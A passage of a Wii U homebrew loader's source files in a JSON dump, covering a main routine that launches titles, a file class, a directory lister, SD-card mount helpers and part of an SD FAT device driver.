\"=r\" (old_sdata_start), \"=r\" (old_sdata2_start)\n    );\n\n    //!*******************************************************************\n    //!                    Initialize BSS sections                       *\n    //!*******************************************************************\n    asm volatile(\n        \"lis 3, __bss_start@h\\n\"\n        \"ori 3, 3,__bss_start@l\\n\"\n        \"lis 5, __bss_end@h\\n\"\n        \"ori 5, 5, __bss_end@l\\n\"\n        \"subf 5, 3, 5\\n\"\n        \"li 4, 0\\n\"\n        \"bl memset\\n\"\n    );\n\n    //! *******************************************************************\n    //! *                        Call our Main                            *\n    //! *******************************************************************\n    Menu_Main();\n\n    //! *******************************************************************\n    //! *                    Restore EABI registers                       *\n    //! *******************************************************************\n    asm volatile(\"mr 13, %0\" : : \"r\" (old_sdata_start));\n    asm volatile(\"mr 2,  %0\" : : \"r\" (old_sdata2_start));\n\n    if(GAME_LAUNCHED)\n    {\n        if (LOADIINE_MODE == LOADIINE_MODE_SMASH_BROS)\n        {\n            if(SYSCheckTitleExists(0x0005000010145000)) { // EUR\n                SYSLaunchTitle(0x0005000010145000);\n            }\n            else if(SYSCheckTitleExists(0x0005000010144F00)) { // USA\n                SYSLaunchTitle(0x0005000010144F00);\n            }\n            else if(SYSCheckTitleExists(0x0005000010110E00)) { // JAP\n                SYSLaunchTitle(0x0005000010110E00);\n            }\n            else {\n                // Launch smash bros disk without exiting to menu\n                char buf_vol_odd[20];\n                strcpy(buf_vol_odd, \"/vol/storage_odd03\");\n                _SYSLaunchTitleByPathFromLauncher(buf_vol_odd, 18, 0);\n            }\n        }\n        else if(LOADIINE_MODE == LOADIINE_MODE_MII_MAKER)\n        {\n            // Restart mii maker\n            SYSRelaunchTitle(0, 0);\n            __Exit();\n        }\n        //! TODO: add auto launch with SYSLaunchTitle for Karaoke and Art Atelier Modes\n\n        //! *******************************************************************\n        //! *                 Jump to original application                    *\n        //! *******************************************************************\n        return EXIT_RELAUNCH_ON_LOAD;\n    }\n\n    RestoreAllInstructions();\n\n    CursorDrawer::destroyInstance();\n    ControllerPatcher::DeInit();\n    ControllerPatcher::stopNetworkServer();\n\n    //! *******************************************************************\n    //! *                 Jump to homebrew launcher                       *\n    //! *******************************************************************\n    return EXIT_SUCCESS;\n}\n"
  },
  {
    "path": "src/fs/CFile.cpp",
    "content": "#include <stdarg.h>\n#include <stdlib.h>\n#include \"CFile.hpp\"\n\nCFile::CFile()\n{\n\tiFd = -1;\n\tmem_file = NULL;\n\tfilesize = 0;\n\tpos = 0;\n}\n\nCFile::CFile(const std::string & filepath, eOpenTypes mode)\n{\n\tiFd = -1;\n\tthis->open(filepath, mode);\n}\n\nCFile::CFile(const u8 * mem, int size)\n{\n\tiFd = -1;\n\tthis->open(mem, size);\n}\n\nCFile::~CFile()\n{\n\tthis->close();\n}\n\nint CFile::open(const std::string & filepath, eOpenTypes mode)\n{\n\tthis->close();\n\n\ts32 openMode = 0;\n\n\tswitch(mode)\n\t{\n    default:\n    case ReadOnly:\n        openMode = O_RDONLY;\n        break;\n    case WriteOnly:\n        openMode = O_WRONLY;\n        break;\n    case ReadWrite:\n        openMode = O_RDWR;\n        break;\n    case Append:\n        openMode = O_APPEND | O_WRONLY;\n        break;\n\t}\n\n    //! Using fopen works only on the first launch as expected\n    //! on the second launch it causes issues because we don't overwrite\n    //! the .data sections which is needed for a normal application to re-init\n    //! this will be added with launching as RPX\n\tiFd = ::open(filepath.c_str(), openMode);\n\tif(iFd < 0)\n\t\treturn iFd;\n\n\n\tfilesize = ::lseek(iFd, 0, SEEK_END);\n\t::lseek(iFd, 0, SEEK_SET);\n\n\treturn 0;\n}\n\nint CFile::open(const u8 * mem, int size)\n{\n\tthis->close();\n\n\tmem_file = mem;\n\tfilesize = size;\n\n\treturn 0;\n}\n\nvoid CFile::close()\n{\n\tif(iFd >= 0)\n\t\t::close(iFd);\n\n\tiFd = -1;\n\tmem_file = NULL;\n\tfilesize = 0;\n\tpos = 0;\n}\n\nint CFile::read(u8 * ptr, size_t size)\n{\n\tif(iFd >= 0)\n\t{\n\t\tint ret = ::read(iFd, ptr,size);\n\t\tif(ret > 0)\n\t\t\tpos += ret;\n\t\treturn ret;\n\t}\n\n\tint readsize = size;\n\n\tif(readsize > (s64) (filesize-pos))\n\t\treadsize = filesize-pos;\n\n\tif(readsize <= 0)\n\t\treturn readsize;\n\n\tif(mem_file != NULL)\n\t{\n\t\tmemcpy(ptr, mem_file+pos, readsize);\n\t\tpos += readsize;\n\t\treturn readsize;\n\t}\n\n\treturn -1;\n}\n\nint CFile::write(const u8 * ptr, size_t size)\n{\n\tif(iFd >= 0)\n\t{\n\t    size_t done = 0;\n\t    while(done < size)\n        {\n            int ret = ::write(iFd, ptr, size - done);\n            if(ret <= 0)\n                return ret;\n\n            ptr += ret;\n            done += ret;\n            pos += ret;\n        }\n\t\treturn done;\n\t}\n\n\treturn -1;\n}\n\nint CFile::seek(long int offset, int origin)\n{\n\tint ret = 0;\n\ts64 newPos = pos;\n\n\tif(origin == SEEK_SET)\n\t{\n\t\tnewPos = offset;\n\t}\n\telse if(origin == SEEK_CUR)\n\t{\n\t\tnewPos += offset;\n\t}\n\telse if(origin == SEEK_END)\n\t{\n\t\tnewPos = filesize+offset;\n\t}\n\n\tif(newPos < 0)\n\t{\n\t\tpos = 0;\n\t}\n\telse {\n        pos = newPos;\n\t}\n\n\tif(iFd >= 0)\n\t\tret = ::lseek(iFd, pos, SEEK_SET);\n\n\tif(mem_file != NULL)\n\t{\n\t\tif(pos > filesize)\n\t\t{\n\t\t\tpos = filesize;\n\t\t}\n\t}\n\n\treturn ret;\n}\n\nint CFile::fwrite(const char *format, ...)\n{\n    int result = -1;\n\tchar * tmp = NULL;\n\n\tva_list va;\n\tva_start(va, format);\n\tif((vasprintf(&tmp, format, va) >= 0) && tmp)\n\t{\n        result = this->write((u8 *)tmp, strlen(tmp));\n\t}\n\tva_end(va);\n\n\tif(tmp)\n\t\tfree(tmp);\n\n    return result;\n}\n\n\n"
  },
  {
    "path": "src/fs/CFile.hpp",
    "content": "#ifndef CFILE_HPP_\n#define CFILE_HPP_\n\n#include <stdio.h>\n#include <string>\n#include <string.h>\n#include <unistd.h>\n#include <fcntl.h>\n#include <gctypes.h>\n\nclass CFile\n{\n\tpublic:\n\t\tenum eOpenTypes\n\t\t{\n\t\t    ReadOnly,\n\t\t    WriteOnly,\n\t\t    ReadWrite,\n\t\t    Append\n\t\t};\n\n\t\tCFile();\n\t\tCFile(const std::string & filepath, eOpenTypes mode);\n\t\tCFile(const u8 * memory, int memsize);\n\t\tvirtual ~CFile();\n\n\t\tint open(const std::string & filepath, eOpenTypes mode);\n\t\tint open(const u8 * memory, int memsize);\n\n\t\tbool isOpen() const {\n            if(iFd >= 0)\n                return true;\n\n            if(mem_file)\n                return true;\n\n            return false;\n\t\t}\n\n\t\tvoid close();\n\n\t\tint read(u8 * ptr, size_t size);\n\t\tint write(const u8 * ptr, size_t size);\n\t\tint fwrite(const char *format, ...);\n\t\tint seek(long int offset, int origin);\n\t\tu64 tell() { return pos; };\n\t\tu64 size() { return filesize; };\n\t\tvoid rewind() { this->seek(0, SEEK_SET); };\n\n\tprotected:\n\t\tint iFd;\n\t\tconst u8 * mem_file;\n\t\tu64 filesize;\n\t\tu64 pos;\n};\n\n#endif\n"
  },
  {
    "path": "src/fs/DirList.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2010\n * by Dimok\n *\n * This software is provided 'as-is', without any express or implied\n * warranty. In no event will the authors be held liable for any\n * damages arising from the use of this software.\n *\n * Permission is granted to anyone to use this software for any\n * purpose, including commercial applications, and to alter it and\n * redistribute it freely, subject to the following restrictions:\n *\n * 1. The origin of this software must not be misrepresented; you\n * must not claim that you wrote the original software. If you use\n * this software in a product, an acknowledgment in the product\n * documentation would be appreciated but is not required.\n *\n * 2. Altered source versions must be plainly marked as such, and\n * must not be misrepresented as being the original software.\n *\n * 3. This notice may not be removed or altered from any source\n * distribution.\n *\n * DirList Class\n * for WiiXplorer 2010\n ***************************************************************************/\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <string>\n#include <algorithm>\n#include <sys/stat.h>\n#include <sys/dirent.h>\n\n#include \"DirList.h\"\n#include \"utils/StringTools.h\"\n\nDirList::DirList()\n{\n\tFlags = 0;\n\tFilter = 0;\n}\n\nDirList::DirList(const std::string & path, const char *filter, u32 flags)\n{\n\tthis->LoadPath(path, filter, flags);\n\tthis->SortList();\n}\n\nDirList::~DirList()\n{\n\tClearList();\n}\n\nbool DirList::LoadPath(const std::string & folder, const char *filter, u32 flags)\n{\n\tif(folder.empty()) return false;\n\n\tFlags = flags;\n\tFilter = filter;\n\n\tstd::string folderpath(folder);\n\tu32 length = folderpath.size();\n\n\t//! clear path of double slashes\n\tRemoveDoubleSlashs(folderpath);\n\n\t//! remove last slash if exists\n\tif(length > 0 && folderpath[length-1] == '/')\n\t\tfolderpath.erase(length-1);\n\n\treturn InternalLoadPath(folderpath);\n}\n\nbool DirList::InternalLoadPath(std::string &folderpath)\n{\n\tif(folderpath.size() < 3)\n\t\treturn false;\n\n\tstruct dirent *dirent = NULL;\n\tDIR *dir = NULL;\n\n\tdir = opendir(folderpath.c_str());\n\tif (dir == NULL)\n\t\treturn false;\n\n\twhile ((dirent = readdir(dir)) != 0)\n\t{\n\t\tbool isDir = dirent->d_type & DT_DIR;\n\t\tconst char *filename = dirent->d_name;\n\n\t\tif(isDir)\n\t\t{\n\t\t\tif(strcmp(filename,\".\") == 0 || strcmp(filename,\"..\") == 0)\n\t\t\t\tcontinue;\n\n\t\t\tif(Flags & CheckSubfolders)\n\t\t\t{\n\t\t\t\tint length = folderpath.size();\n\t\t\t\tif(length > 2 && folderpath[length-1] != '/')\n\t\t\t\t\tfolderpath += '/';\n\t\t\t\tfolderpath += filename;\n\t\t\t\tInternalLoadPath(folderpath);\n\t\t\t\tfolderpath.erase(length);\n\t\t\t}\n\n\t\t\tif(!(Flags & Dirs))\n\t\t\t\tcontinue;\n\t\t}\n\t\telse if(!(Flags & Files))\n\t\t{\n\t\t\tcontinue;\n\t\t}\n\n\t\tif(Filter)\n\t\t{\n\t\t\tchar * fileext = strrchr(filename, '.');\n\t\t\tif(!fileext)\n\t\t\t\tcontinue;\n\n\t\t\tif(strtokcmp(fileext, Filter, \",\") == 0)\n\t\t\t\tAddEntrie(folderpath, filename, isDir);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tAddEntrie(folderpath, filename, isDir);\n\t\t}\n\t}\n\tclosedir(dir);\n\n\treturn true;\n}\n\nvoid DirList::AddEntrie(const std::string &filepath, const char * filename, bool isDir)\n{\n\tif(!filename)\n\t\treturn;\n\n\t// Don't list hidden OS X files\n\tif(filename[0] == '.' && filename[1] == '_')\n\t\treturn;\n\n\tint pos = FileInfo.size();\n\n\tFileInfo.resize(pos+1);\n\n\tFileInfo[pos].FilePath = (char *) malloc(filepath.size()+strlen(filename)+2);\n\tif(!FileInfo[pos].FilePath)\n\t{\n\t\tFileInfo.resize(pos);\n\t\treturn;\n\t}\n\n\tsprintf(FileInfo[pos].FilePath, \"%s/%s\", filepath.c_str(), filename);\n\tFileInfo[pos].isDir = isDir;\n}\n\nvoid DirList::ClearList()\n{\n\tfor(u32 i = 0; i < FileInfo.size(); ++i)\n\t{\n\t\tif(FileInfo[i].FilePath)\n\t\t\tfree(FileInfo[i].FilePath);\n\t}\n\n\tFileInfo.clear();\n\tstd::vector<DirEntry>().swap(FileInfo);\n}\n\nconst char * DirList::GetFilename(int ind) const\n{\n\tif (!valid(ind))\n\t\treturn \"\";\n\n\treturn FullpathToFilename(FileInfo[ind].FilePath);\n}\n\nstatic bool SortCallback(const DirEntry & f1, const DirEntry & f2)\n{\n\tif(f1.isDir && !(f2.isDir)) return true;\n\tif(!(f1.isDir) && f2.isDir) return false;\n\n\tif(f1.FilePath && !f2.FilePath) return true;\n\tif(!f1.FilePath) return false;\n\n\tif(strcasecmp(f1.FilePath, f2.FilePath) > 0)\n\t\treturn false;\n\n\treturn true;\n}\n\nvoid DirList::SortList()\n{\n\tif(FileInfo.size() > 1)\n\t\tstd::sort(FileInfo.begin(), FileInfo.end(), SortCallback);\n}\n\nvoid DirList::SortList(bool (*SortFunc)(const DirEntry &a, const DirEntry &b))\n{\n\tif(FileInfo.size() > 1)\n\t\tstd::sort(FileInfo.begin(), FileInfo.end(), SortFunc);\n}\n\nu64 DirList::GetFilesize(int index) const\n{\n\tstruct stat st;\n\tconst char *path = GetFilepath(index);\n\n\tif(!path || stat(path, &st) != 0)\n\t\treturn 0;\n\n\treturn st.st_size;\n}\n\nint DirList::GetFileIndex(const char *filename) const\n{\n\tif(!filename)\n\t\treturn -1;\n\n\tfor (u32 i = 0; i < FileInfo.size(); ++i)\n\t{\n\t\tif (strcasecmp(GetFilename(i), filename) == 0)\n\t\t\treturn i;\n\t}\n\n\treturn -1;\n}\n"
  },
  {
    "path": "src/fs/DirList.h",
    "content": "/****************************************************************************\n * Copyright (C) 2010\n * by Dimok\n *\n * This software is provided 'as-is', without any express or implied\n * warranty. In no event will the authors be held liable for any\n * damages arising from the use of this software.\n *\n * Permission is granted to anyone to use this software for any\n * purpose, including commercial applications, and to alter it and\n * redistribute it freely, subject to the following restrictions:\n *\n * 1. The origin of this software must not be misrepresented; you\n * must not claim that you wrote the original software. If you use\n * this software in a product, an acknowledgment in the product\n * documentation would be appreciated but is not required.\n *\n * 2. Altered source versions must be plainly marked as such, and\n * must not be misrepresented as being the original software.\n *\n * 3. This notice may not be removed or altered from any source\n * distribution.\n *\n * DirList Class\n * for WiiXplorer 2010\n ***************************************************************************/\n#ifndef ___DIRLIST_H_\n#define ___DIRLIST_H_\n\n#include <vector>\n#include <string>\n#include <gctypes.h>\n\ntypedef struct\n{\n\tchar * FilePath;\n\tbool isDir;\n} DirEntry;\n\nclass DirList\n{\npublic:\n\t//!Constructor\n\tDirList(void);\n\t//!\\param path Path from where to load the filelist of all files\n\t//!\\param filter A fileext that needs to be filtered\n\t//!\\param flags search/filter flags from the enum\n\tDirList(const std::string & path, const char *filter = NULL, u32 flags = Files | Dirs);\n\t//!Destructor\n\tvirtual ~DirList();\n\t//! Load all the files from a directory\n\tbool LoadPath(const std::string & path, const char *filter = NULL, u32 flags = Files | Dirs);\n\t//! Get a filename of the list\n\t//!\\param list index\n\tconst char * GetFilename(int index) const;\n\t//! Get the a filepath of the list\n\t//!\\param list index\n\tconst char *GetFilepath(int index) const { if (!valid(index)) return \"\"; else return FileInfo[index].FilePath; }\n\t//! Get the a filesize of the list\n\t//!\\param list index\n\tu64 GetFilesize(int index) const;\n\t//! Is index a dir or a file\n\t//!\\param list index\n\tbool IsDir(int index) const { if(!valid(index)) return false; return FileInfo[index].isDir; };\n\t//! Get the filecount of the whole list\n\tint GetFilecount() const { return FileInfo.size(); };\n\t//! Sort list by filepath\n\tvoid SortList();\n\t//! Custom sort command for custom sort functions definitions\n\tvoid SortList(bool (*SortFunc)(const DirEntry &a, const DirEntry &b));\n\t//! Get the index of the specified filename\n\tint GetFileIndex(const char *filename) const;\n\t//! Enum for search/filter flags\n\tenum\n\t{\n\t\tFiles = 0x01,\n\t\tDirs = 0x02,\n\t\tCheckSubfolders = 0x08,\n\t};\nprotected:\n\t// Internal parser\n\tbool InternalLoadPath(std::string &path);\n\t//!Add a list entrie\n\tvoid AddEntrie(const std::string &filepath, const char * filename, bool isDir);\n\t//! Clear the list\n\tvoid ClearList();\n\t//! Check if valid pos is requested\n\tinline bool valid(u32 pos) const { return (pos < FileInfo.size()); };\n\n\tu32 Flags;\n\tconst char *Filter;\n\tstd::vector<DirEntry> FileInfo;\n};\n\n#endif\n"
  },
  {
    "path": "src/fs/fs_utils.c",
    "content": "#include <malloc.h>\n#include <string.h>\n#include <stdio.h>\n#include <unistd.h>\n#include <fcntl.h>\n#include \"dynamic_libs/fs_functions.h\"\n\n\nint MountFS(void *pClient, void *pCmd, char **mount_path)\n{\n    int result = -1;\n\n    void *mountSrc = malloc(FS_MOUNT_SOURCE_SIZE);\n    if(!mountSrc)\n        return -3;\n\n    char* mountPath = (char*) malloc(FS_MAX_MOUNTPATH_SIZE);\n    if(!mountPath) {\n        free(mountSrc);\n        return -4;\n    }\n\n    memset(mountSrc, 0, FS_MOUNT_SOURCE_SIZE);\n    memset(mountPath, 0, FS_MAX_MOUNTPATH_SIZE);\n\n    // Mount sdcard\n    if (FSGetMountSource(pClient, pCmd, FS_SOURCETYPE_EXTERNAL, mountSrc, -1) == 0)\n    {\n        result = FSMount(pClient, pCmd, mountSrc, mountPath, FS_MAX_MOUNTPATH_SIZE, -1);\n        if((result == 0) && mount_path) {\n            *mount_path = (char*)malloc(strlen(mountPath) + 1);\n            if(*mount_path)\n                strcpy(*mount_path, mountPath);\n        }\n    }\n\n    free(mountPath);\n    free(mountSrc);\n    return result;\n}\n\nint UmountFS(void *pClient, void *pCmd, const char *mountPath)\n{\n    int result = -1;\n    result = FSUnmount(pClient, pCmd, mountPath, -1);\n\n    return result;\n}\n\nint LoadFileToMem(const char *filepath, u8 **inbuffer, u32 *size)\n{\n    //! always initialze input\n\t*inbuffer = NULL;\n    if(size)\n        *size = 0;\n\n    int iFd = open(filepath, O_RDONLY);\n\tif (iFd < 0)\n\t\treturn -1;\n\n\tu32 filesize = lseek(iFd, 0, SEEK_END);\n    lseek(iFd, 0, SEEK_SET);\n\n\tu8 *buffer = (u8 *) malloc(filesize);\n\tif (buffer == NULL)\n\t{\n        close(iFd);\n\t\treturn -2;\n\t}\n\n    u32 blocksize = 0x4000;\n    u32 done = 0;\n    int readBytes = 0;\n\n\twhile(done < filesize)\n    {\n        if(done + blocksize > filesize) {\n            blocksize = filesize - done;\n        }\n        readBytes = read(iFd, buffer + done, blocksize);\n        if(readBytes <= 0)\n            break;\n        done += readBytes;\n    }\n\n    close(iFd);\n\n\tif (done != filesize)\n\t{\n\t\tfree(buffer);\n\t\treturn -3;\n\t}\n\n\t*inbuffer = buffer;\n\n    //! sign is optional input\n    if(size)\n        *size = filesize;\n\n\treturn filesize;\n}\n\nint CheckFile(const char * filepath)\n{\n\tif(!filepath)\n\t\treturn 0;\n\n\tstruct stat filestat;\n\n\tchar dirnoslash[strlen(filepath)+2];\n\tsnprintf(dirnoslash, sizeof(dirnoslash), \"%s\", filepath);\n\n\twhile(dirnoslash[strlen(dirnoslash)-1] == '/')\n\t\tdirnoslash[strlen(dirnoslash)-1] = '\\0';\n\n\tchar * notRoot = strrchr(dirnoslash, '/');\n\tif(!notRoot)\n\t{\n\t\tstrcat(dirnoslash, \"/\");\n\t}\n\n\tif (stat(dirnoslash, &filestat) == 0)\n\t\treturn 1;\n\n\treturn 0;\n}\n\nint CreateSubfolder(const char * fullpath)\n{\n\tif(!fullpath)\n\t\treturn 0;\n\n\tint result = 0;\n\n\tchar dirnoslash[strlen(fullpath)+1];\n\tstrcpy(dirnoslash, fullpath);\n\n\tint pos = strlen(dirnoslash)-1;\n\twhile(dirnoslash[pos] == '/')\n\t{\n\t\tdirnoslash[pos] = '\\0';\n\t\tpos--;\n\t}\n\n\tif(CheckFile(dirnoslash))\n\t{\n\t\treturn 1;\n\t}\n\telse\n\t{\n\t\tchar parentpath[strlen(dirnoslash)+2];\n\t\tstrcpy(parentpath, dirnoslash);\n\t\tchar * ptr = strrchr(parentpath, '/');\n\n\t\tif(!ptr)\n\t\t{\n\t\t\t//!Device root directory (must be with '/')\n\t\t\tstrcat(parentpath, \"/\");\n\t\t\tstruct stat filestat;\n\t\t\tif (stat(parentpath, &filestat) == 0)\n\t\t\t\treturn 1;\n\n\t\t\treturn 0;\n\t\t}\n\n\t\tptr++;\n\t\tptr[0] = '\\0';\n\n\t\tresult = CreateSubfolder(parentpath);\n\t}\n\n\tif(!result)\n\t\treturn 0;\n\n\tif (mkdir(dirnoslash, 0777) == -1)\n\t{\n\t\treturn 0;\n\t}\n\n\treturn 1;\n}\n"
  },
  {
    "path": "src/fs/fs_utils.h",
    "content": "#ifndef __FS_UTILS_H_\n#define __FS_UTILS_H_\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include <gctypes.h>\n\nint MountFS(void *pClient, void *pCmd, char **mount_path);\nint UmountFS(void *pClient, void *pCmd, const char *mountPath);\n\nint LoadFileToMem(const char *filepath, u8 **inbuffer, u32 *size);\n\n//! todo: C++ class\nint CreateSubfolder(const char * fullpath);\nint CheckFile(const char * filepath);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif // __FS_UTILS_H_\n"
  },
  {
    "path": "src/fs/sd_fat_devoptab.c",
    "content": "/***************************************************************************\n * Copyright (C) 2015\n * by Dimok\n *\n * This software is provided 'as-is', without any express or implied\n * warranty. In no event will the authors be held liable for any\n * damages arising from the use of this software.\n *\n * Permission is granted to anyone to use this software for any\n * purpose, including commercial applications, and to alter it and\n * redistribute it freely, subject to the following restrictions:\n *\n * 1. The origin of this software must not be misrepresented; you\n * must not claim that you wrote the original software. If you use\n * this software in a product, an acknowledgment in the product\n * documentation would be appreciated but is not required.\n *\n * 2. Altered source versions must be plainly marked as such, and\n * must not be misrepresented as being the original software.\n *\n * 3. This notice may not be removed or altered from any source\n * distribution.\n ***************************************************************************/\n#include <errno.h>\n#include <ogc/disc_io.h>\n#include <sys/statvfs.h>\n#include <sys/dirent.h>\n#include <string.h>\n#include <malloc.h>\n#include <fcntl.h>\n#include <stdio.h>\n#include \"dynamic_libs/fs_functions.h\"\n#include \"dynamic_libs/os_functions.h\"\n#include \"fs_utils.h\"\n#include \"utils/logger.h\"\n\n#define FS_ALIGNMENT            0x40\n#define FS_ALIGN(x)             (((x) + FS_ALIGNMENT - 1) & ~(FS_ALIGNMENT - 1))\n\ntypedef struct _sd_fat_private_t {\n    char *mount_path;\n    void *pClient;\n    void *pCmd;\n    void *pMutex;\n} sd_fat_private_t;\n\ntypedef struct _sd_fat_file_state_t {\n    sd_fat_private_t *dev;\n    int fd;                                     /* File descriptor */\n    int flags;                                  /* Opening flags */\n    bool read;                                  /* True if allowed to read from file */\n    bool write;                                 /* True if allowed to write to file */\n    bool append;                                /* True if allowed to append to file */\n    u64 pos;                                    /* Current position within the file (in bytes) */\n    u64 len;                                    /* Total length of the file (in bytes) */\n    struct _sd_fat_file_state_t *prevOpenFile;  /* The previous entry in a double-linked FILO list of open files */\n    struct _sd_fat_file_state_t *nextOpenFile;  /* The next entry in a double-linked FILO list of open files */\n} sd_fat_file_state_t;\n\ntypedef struct _sd_fat_dir_entry_t {\n    sd_fat_private_t *dev;\n    int dirHandle;\n} sd_fat_dir_entry_t;\n\nstatic sd_fat_private_t *sd_fat_get_device_data(const char *path)\n{\n    const devoptab_t *devoptab = NULL;\n    char name[128] = {0};\n    int i;\n\n    // Get the device name from the path\n    strncpy(name, path, 127);\n    strtok(name, \":/\");\n\n    // Search the devoptab table for the specified device name\n    // NOTE: We do this manually due to a 'bug' in GetDeviceOpTab\n    //       which ignores names with suffixes and causes names\n    //       like \"ntfs\" and \"ntfs1\" to be seen as equals\n    for (i = 3; i < STD_MAX; i++) {\n        devoptab = devoptab_list[i];\n        if (devoptab && devoptab->name) {\n            if (strcmp(name, devoptab->name) == 0) {\n                return (sd_fat_private_t *)devoptab->deviceData;\n            }\n        }\n    }\n\n    return NULL;\n}\n\nstatic char *sd_fat_real_path (const char *path, sd_fat_private_t *dev)\n{\n    // Sanity check\n    if (!path)\n        return NULL;\n\n    // Move the path pointer to the start of the actual path\n    if (strchr(path, ':') != NULL) {\n        path = strchr(path, ':') + 1;\n    }\n\n    int mount_len = strlen(dev->mount_path);\n\n    char *new_name = (char*)malloc(mount_len + strlen(path) + 1);\n    if(new_name) {\n        strcpy(new_name, dev->mount_path);\n        strcpy(new_name + mount_len, path);\n        return new_name;\n    }\n    return new_name;\n}\n\nstatic int sd_fat_open_r (struct _reent *r, void *fileStruct, const char *path, int flags, int mode)\n{\n    sd_fat_private_t *dev = sd_fat_get_device_data(path);\n    if(!dev) {\n        r->_errno = ENODEV;\n        return -1;\n    }\n\n    sd_fat_file_state_t *file = (sd_fat_file_state_t *)fileStruct;\n\n    file->dev = dev;\n    // Determine which mode the file is opened for\n    file->flags = flags;\n\n    const char *mode_str;\n\n    if ((flags & 0x03) == O_RDONLY) {\n        file->read = true;\n        file->write = false;\n        file->append = false;\n        mode_str = \"r\";\n    } else if ((flags & 0x03) == O_WRONLY) {\n        file->read = false;\n        file->write = true;\n        file->append = (flags & O_APPEND);\n        mode_str = file->append ? \"a\" : \"w\";\n    } else if ((flags & 0x03) == O_RDWR) {\n        file->read = true;\n        file->write = true;\n        file->append = (flags & O_APPEND);\n        mode_str = file->append ? \"a+\" : \"r+\";\n    } else {\n        r->_errno = EACCES;\n        return -1;\n    }\n\n    s32 fd = -1;\n\n    OSLockMutex(dev->pMutex);\n\n    char *real_path = sd_fat_real_path(path, dev);\n    if(!path) {\n        r->_errno = ENOMEM;\n        OSUnlockMutex(dev->pMutex);\n        return -1;\n    }\n\n    int result = FSOpenFile(dev->pClient, dev->pCmd, real_path, mode_str, &fd, -1);\n\n    free(real_path);\n\n    if(result == 0)\n    {\n        FSStat stats;\n        result = FSGetStatFile(dev->pClient, dev->pCmd, fd, &stats, -1);\n        if(result != 0) {\n            FSCloseFile(dev->pClient, dev->pCmd, fd, -1);\n            r->_errno = result;\n            OSUnlockMutex(dev->pMutex);\n            return -1;\n        }\n        file->fd = fd;\n        file->pos = 0;\n        file->len = stats.size;\n        OSUnlockMutex(dev->pMutex);\n        return (int)file;\n    }\n\n    r->_errno = result;\n    OSUnlockMutex(dev->pMutex);\n    return -1;\n}\n\n\nstatic int sd_fat_close_r (struct _reent *r, void *fd)\n{\n    sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd;\n    if(!file->dev) {\n        r->_errno = ENODEV;\n        return -1;\n    }\n\n    OSLockMutex(file->dev->pMutex);\n\n    int result = FSCloseFile(file->dev->pClient, file->dev->pCmd, file->fd, -1);\n\n    OSUnlockMutex(file->dev->pMutex);\n\n    if(result < 0)\n    {\n        r->_errno = result;\n        return -1;\n    }\n    return 0;\n}\n\nstatic off_t sd_fat_seek_r (struct _reent *r, void* fd, off_t pos, int dir)\n{\n    sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd;\n    if(!file->dev) {\n        r->_errno = ENODEV;\n        return 0;\n    }\n\n    OSLockMutex(file->dev->pMutex);\n\n    switch(dir)\n    {\n    case SEEK_SET:\n        file->pos = pos;\n        break;\n    case SEEK_CUR:\n        file->pos += pos;\n        break;\n    case SEEK_END:\n        file->pos = file->len + pos;\n        break;\n    default:\n        r->_errno = EINVAL;\n        return -1;\n    }\n\n    int result = FSSetPosFile(file->dev->pClient, file->dev->pCmd, file->fd, file->pos, -1);\n\n    OSUnlockMutex(file->dev->pMutex);\n\n    if(result == 0)\n    {\n        return file->pos;\n    }\n\n    return result;\n}\n\nstatic ssize_t sd_fat_write_r (struct _reent *r, void *fd, const char *ptr, size_t len)\n{\n    sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd;\n    if(!file->dev) {\n        r->_errno = ENODEV;\n        return 0;\n    }\n\n    if(!file->write)\n    {\n        r->_errno = EACCES;\n        return 0;\n    }\n\n    OSLockMutex(file->dev->pMutex);\n\n    size_t len_aligned = FS_ALIGN(len);\n    if(len_aligned > 0x4000)\n        len_aligned = 0x4000;\n\n    unsigned char *tmpBuf = (unsigned char *)memalign(FS_ALIGNMENT, len_aligned);\n    if(!tmpBuf) {\n        r->_errno = ENOMEM;\n        OSUnlockMutex(file->dev->pMutex);\n        return 0;\n    }\n\n    size_t done = 0;\n\n    while(done < len)\n    {\n        size_t write_size = (len_aligned < (len - done)) ? len_aligned : (len - done);\n        memcpy(tmpBuf, ptr + done, write_size);\n\n        int result = FSWriteFile(file->dev->pClient, file->dev->pCmd, tmpBuf, 0x01, write_size, file->fd, 0, -1);\n        if(result < 0)\n        {\n            r->_errno = result;\n            break;\n        }\n        else if(result == 0)\n        {\n            if(write_size > 0)\n                done = 0;\n            break;\n        }\n        else\n        {\n            done += result;\n            file->pos += result;\n        }\n    }\n\n    free(tmpBuf);\n    OSUnlockMutex(file->dev->pMutex);\n    return done;\n}\n\nstatic ssize_t sd_fat_read_r (struct _reent *r, void* fd, char *ptr, size_t len)\n{\n    sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd;\n    if(!file->dev) {\n        r->_errno = ENODEV;\n        return 0;\n    }\n\n    if(!file->read)\n    {\n        r->_errno = EACCES;\n        return 0;\n    }\n\n    OSLockMutex(file->dev->pMutex);\n\n    size_t len_aligned = FS_ALIGN(len);\n    if(len_aligned > 0x4000)\n        len_aligned = 0x4000;\n\n    unsigned char *tmpBuf = (unsigned char *)memalign(FS_ALIGNMENT, len_aligned);\n    if(!tmpBuf) {\n        r->_errno = ENOMEM;\n        OSUnlockMutex(file->dev->pMutex);\n        return 0;\n    }\n\n    size_t done = 0;\n\n    while(done < len)\n    {\n        size_t read_size = (len_aligned < (len - done)) ? len_aligned : (len - done);\n\n        int result = FSReadFile(file->dev->pClient, file->dev->pCmd, tmpBuf, 0x01, read_size, file->fd, 0, -1);\n        if(result < 0)\n        {\n            r->_errno = result;\n            done = 0;\n            break;\n        }\n        else if(result == 0)\n        {\n            //! TODO: error on read_size > 0\n            break;\n        }\n        else\n        {\n            memcpy(ptr + done, tmpBuf, read_size);\n            done += result;\n            file->pos += result;\n        }\n    }\n\n    free(tmpBuf);\n    OSUnlockMutex(file->dev->pMutex);\n    return done;\n}\n\n\nstatic int sd_fat_fstat_r (struct _reent *r, void* fd, struct stat *st)\n{\n    sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd;\n    if(!file->dev) {\n        r->_errno = ENODEV;\n        return -1;\n    }\n\n    